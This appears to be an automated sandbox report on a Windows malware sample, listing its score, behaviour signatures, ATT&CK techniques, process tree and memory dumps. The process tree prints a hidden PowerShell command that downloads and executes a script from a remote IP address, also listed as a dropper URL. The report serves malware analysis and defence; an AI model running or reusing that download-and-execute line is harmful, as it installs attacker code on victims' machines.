044c16cdbc6ec18f58bfecaacf4d4e21150a19d8d10c694c4a4c3085697499a2

Analysis

max time kernel
27s
max time network
116s
platform
windows10_x64
resource
win10v20201028
submitted
04-01-2021 02:13

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General

Target

a2d4e5d989f091cc30e88e850af43ba620c893946a891217c0322f0ff29c2926.exe

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://45.82.79.89:80/update

Signatures

Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

15 1500 powershell.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Suspicious behavior: EnumeratesProcesses 3 IoCs

Processes:

powershell.exe

pid process

1500 powershell.exe
1500 powershell.exe
1500 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 1500 powershell.exe

flow	pid	process
15	1500	powershell.exe

pid	process
1500	powershell.exe
1500	powershell.exe
1500	powershell.exe

description	pid	process
Token: SeDebugPrivilege	1500	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

Processes:

a2d4e5d989f091cc30e88e850af43ba620c893946a891217c0322f0ff29c2926.exe

description	pid	process	target process
PID 1400 wrote to memory of 1500	1400	a2d4e5d989f091cc30e88e850af43ba620c893946a891217c0322f0ff29c2926.exe	powershell.exe
PID 1400 wrote to memory of 1500	1400	a2d4e5d989f091cc30e88e850af43ba620c893946a891217c0322f0ff29c2926.exe	powershell.exe
PID 1400 wrote to memory of 1500	1400	a2d4e5d989f091cc30e88e850af43ba620c893946a891217c0322f0ff29c2926.exe	powershell.exe

C:\Users\Admin\AppData\Local\Temp\a2d4e5d989f091cc30e88e850af43ba620c893946a891217c0322f0ff29c2926.exe
"C:\Users\Admin\AppData\Local\Temp\a2d4e5d989f091cc30e88e850af43ba620c893946a891217c0322f0ff29c2926.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1400

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://45.82.79.89:80/update'))"
2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1500

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

memory/1500-4-0x0000000000000000-mapping.dmp

Download
memory/1500-5-0x0000000073400000-0x0000000073AEE000-memory.dmp

Filesize
6.9MB

Download
memory/1500-6-0x0000000006740000-0x0000000006741000-memory.dmp

Filesize
4KB

Download
memory/1500-7-0x0000000006DB0000-0x0000000006DB1000-memory.dmp

Filesize
4KB

Download
memory/1500-8-0x0000000006CF0000-0x0000000006CF1000-memory.dmp

Filesize
4KB

Download
memory/1500-9-0x00000000074E0000-0x00000000074E1000-memory.dmp

Filesize
4KB

Download
memory/1500-10-0x0000000007550000-0x0000000007551000-memory.dmp

Filesize
4KB

Download
memory/1500-11-0x0000000007600000-0x0000000007601000-memory.dmp

Filesize
4KB

Download
memory/1500-12-0x0000000006D90000-0x0000000006D91000-memory.dmp

Filesize
4KB

Download
memory/1500-13-0x0000000007A00000-0x0000000007A01000-memory.dmp

Filesize
4KB

Download
memory/1500-14-0x0000000007D70000-0x0000000007D71000-memory.dmp

Filesize
4KB

Download
memory/1500-15-0x00000000094F0000-0x00000000094F1000-memory.dmp

Filesize
4KB

Download
memory/1500-16-0x0000000008A70000-0x0000000008A71000-memory.dmp

Filesize
4KB

Download